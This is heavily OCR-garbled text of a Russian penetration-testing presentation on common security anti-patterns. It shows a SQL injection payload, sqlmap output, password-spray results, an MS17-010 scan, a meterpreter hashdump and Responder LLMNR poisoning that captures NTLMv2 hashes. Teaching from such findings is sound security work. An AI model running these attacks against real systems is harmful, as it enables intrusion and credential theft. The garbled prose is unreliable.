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Pepetration Testing - tTectTupoBaHne Ha NPOHUKHOBEHUE (a@HrM) - MeETO4 OLEHKMU
be3onacHOCTU opraHu3auumn nytTemMm MoaenmpoBaHNsa AEUCTBUN 3N0YMbIWLNEHHUKA

3akKa3 Ha NMogonucaHue OTtuyeT O
——* ﬁ TGCTMpOBaHMe _—* paGOTe +
oroseo
nenTeeT 8 be peKkomMeHAaauunm

Uem Mbl 3aHMMaeMcs:

ATaKN Ha canTbl OpraHm3auuun;

TectnpoBanne Wi-Ficeten;

TectTupoBaHue 6e30MacHOCTN BHYTPEHHEN CETH.
PaccnepoBaHue MHUWOEHTOB O€30NAaCHOCTM.
TecTnpoBaHmne nwaen yepes counanbHYO UHXEHEPUIO;



XotTute obecneuyuTb
6e3zonacHocCcTb?

Ho cnepyeTe
aHTU-NaTTepHaM

AHTU-NATTEPH - NONIHaA
NPOTUBOMOJIOXHOCTb

NnatTrepHy




KOMMMIeKCHbIN NeHTeCT COCTOUT U3:

il
sy

m BHyTpeHHUIn nepumeTp.

KoHKypeHTHasa pa3Beka (osint);

BHeLwHUN nepnmeTp;



Ha KaXXgom atane MHOrme KoOMnaHumn
COBepLUaloT OOHU N U Te Xe onbku, crenys
aHTMNaTTEpPHaAM.



OSINT

(KOHKYpeTHaA pa3BeKa)




Alcnonb3oBaHue coumanbHbIX cCeTen Ha paboyem
MecCTe

(PoTorpaduun, no3apaBneHnda, KoprnopaTuBHas
noyTa, NMM4Hble TenedoHbl B pa3geie KOHTaAKTOB)



Hanunyumne cBA3N:
paboTa <-> XU3Hb



PR KOMNaHUn opraHn3awuun

(ra3eTa npeonpuatua, npecc-penn3bl, P, nHda o
COTpYyOHUKAX, AOCTUXEHUA)



YTeuKw.
OTcyTCcTBME NAPOSIbHOW MONUTUKW.

[lepencnonb3oBaHne napornen



BHeLHUM

nepuMeTp
(web)



OTcyTCcTBME NPOBEPOK BE30MNaCHOCTN CaAMOMUCHbIX
NPUNOXEHUN



Bxoa B npunoXeHue

' OR 1=CONVERT(INT,@@version)--




RI parameter '#1*' is vulnerable. Do you want to keep testing the
sqlmap identified the following injection point(s) with a total of

Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: https:] 11d=198749&T11e=209824

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based

Payload: https: 1d=198749&T11e=209824

Type: UNION query

Title: Generic UNION query (NULL) - 8 columns

Payload: https: 110=198749&T11e=-7489 |
4705574526c63726e6b704T6e654c68545a4d7 7853657647465473,@x7176f




OTCcyTCTBME rPAMOTHOU NAPOSIbHON MONUTUKU U
OBYX3TanHOW ayTeEHTUUKaLIUN



Success: valV@example.com:Qql23456
Success: yaNS@example.com:Qql123456
Success: i t2@example.com:Qql23456
Success: ina.KI@example.com:Qql123456

Success: /. IS@example.com:Qql23456
Su bRM@example.com:Qql23456
NN@example.com:Qql23456
/@example.com:Qql123456
IV@example.com:Qql123456
dexample.com:Qql23456
BIV@example.com:Qql23456
i DS@example.com:Qql123456
b@example.com:Qql23456
Wexample.com:Qql23456
y .VW@example.com:Qql123456
| kova@example.com:Qql123456
Suc haMV@example.com:Qql123456
Success: DO@example.com:Qql23456

)
7,

D
L

‘-
|

Fy

g ' Fy N v N N T, v, W
mwn »n »n »n n n n n n unu N nm

SUCCess bexample.com:Qql123456
Success: h . Al@example.com:Qql123456
Success: dexample.com:Qql23456

\A@example.com:Qql123456




TOTP (Authenticator app)
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OTcyTCcTBME 3anpeTa MapLUpyTM3aLnm
mexay VLAN



eTeBUK packupaan ceTb Ha VLAN.
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Shadow IT:

- [NoncK y4yeTHbIX AaHHbIX B OTKPbITOM BUAE;

- [Nonck ctapblxX akTMBOB OpraHn3aumnm (CybgomMeHsl,
NPUNoOXeHud, cepBepa);

- [lonck 3abbITbIX NoOCETEMN;




icnonb3oBaHue yctapesluero 10O



msTo auxilliary(scanner/portscan/tcp) > db nmap --script smb-vuln*® -p 44

Nmap: Starting Nmap 7 91 ( https //nmap.org ) at 2021-04-21 08:58 EDT

Nmap: Nmap scan report for 192.168.1.201

Nmap: Host 1is up (0.0045s latency).

Nmap: PORT STATE SERVICE

Nmap: 445/tcp open _microsoft-ds

Nmap: MAC Address:

Nmap: Host script results:

Nmap: | smb-vuln-msl0-054: false

Nmap: | smb-vuln-msl0O-061: ERROR: Script execution failed (use -d to debug)

Nman: | smh-viuln-mg17-0107"

Nmap: VULNERABLE:

Nmap: Remote Code Execution vulnerability in Microsoft SMBv1l servers (msl7-010)
Nmap: State: VULNERABLE

Nmap: IDs: CVE:CVE-2017-0143

Nmap: Risk factor: HIGH

Nmap: A critical remote code execution vulnerability exists in Microsoft SMBvl
Nmap: servers (msl7-010).

Ninap .
Nmap: Disclosure date: 2017-03-14

Nmap: References:

Nmap: https://technet.microsoft.com/en-us/library/security/msl7-010.aspx

Nmap: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap: | https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
Nmap: Nmap done: 1 IP address (1 host up) scanned in 7.45 seconds
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meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...

(*] Calculating the hboot key using SYSKEY 6aa59a088dcbff06e00763383d08e790. . .
(*] Obtaining the user list and keys...

[*] Decrypting user keys...

-1 Unknown user hash revision: 45678

(*] Dumping password hints...

[*] Dumping password hashes...

AOMUHUCTPaTOpP: 500 : SN .
[0CTb:501: w

manager2: 1004 : | —— e —— e ——— T ———— T — T PRT] | |
manager3:1005: — =
manager4:1006: .o
managers5:1007:

manager6: 1008:

managerl:1009:

manager’7:1010: -
buhgalter:1011 4:::

manaier8 1012: b

admin: 1017 e e -




OTcyTcTBME 3aWnThbl Active Directory



e JKcnnyartauusa wpad,
e JKcnnyaTauua netbios/limnr,

e [exHuKa password spray,

e ATaku Ha Kerberos (AS-REP Roasting, Kerberoasting),
e [lepeuncneHune rocteBbiX SMB nanok,

e SMVIB relay,

e /I apyrue..



Gt) Imsecurity 20 doespans g 11:30

VTeuka gomeHa. Kak mMmbl nony4ynnu 4oCcTyn K KOPNnopaTuBHOU nNepenncke yepes
ocTaBneHHbIn .git n wpad.dat

ViHdbopmauuorHHas besonacHoCcTs * MUHUCTPUPOBaHNe AOMEHHbLIX uMeH *, CucTeMHoe agMUHUCTPUpOBaHue ”
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[+] Generic Options:

Responder NIC etho]
Responder IP 192.168.210.145]
Challenge set 1122334455667788]

+] Listening for events...

[*] [LLMNR] Poisoned answer sent to 192.168.210.135 for name WIN-OCBG6GNL918D
[*] [LLMNR] Poisoned answer sent to 192. 168 210.135 for name SNAREO1

ISMB] NTLMvZ2-SSP Client + 192.168.2160.1=

[SMB] NTLMv2-SSP Username : | Administ

ISMB] NTLMv2-SSP Hash + Administrator::V
9“9““””3”.“”ﬁ(ﬂ'”(Vﬁ)LQJLhOLLJDQLLL;;AFlJ4CJULJﬁgmdﬁu;tbjﬁuuilﬁﬂi[UJJ;JJ;;UO};
AOO53004I 5063100320003000A0053004D0042003100320005000A0053004D0042003100321
3000009CE15F20343 FB73E4310F001BF4D5 1F5468D0ADD185541591DA2A90ADC11079F0A001008
91800630069000000/3002F0053004E0 0052004500300031000000000000000000

[SMB] Requested Share : \\SNAREOI\IPcs

[*] [LLMNR] Poisoned answer sent to 192.168.210.135 for name SNAREO1
[*] Skipping previously captured hash for WIN-OCB6GNL918D\Administrator
[SMB] Requested Share : \\SNAREOI\IPC$

[+] Exiting...




BbiBOAbI:

. Owmnbkun cnyyarTcsa. OTO YacTb npoLecca pa3BUTUS;

. [lpepoTBpaTUTb MHUMAOEHT HEBO3MOXHO 6€3 onbiTa B cdepe

6e30nacHOCTU:;

. BaxHo ncnpaBuTtb OLLNOKY paHbLLe, YEM el BOCMOJSIb3yeTCS

3JIOYMbILLJTIEHHUK;

. Heobxogumo 6exatb, UTobbl ocTaBaTbcs Ha mecTte (C) A. C.

LLlabypos.



| OTOB OTBETUTb
Ha Baluw
BOMpPOCHI!

Email: curiv@protonmail. com
TG: t.me/curiv
TG: t. me/lmsecurity
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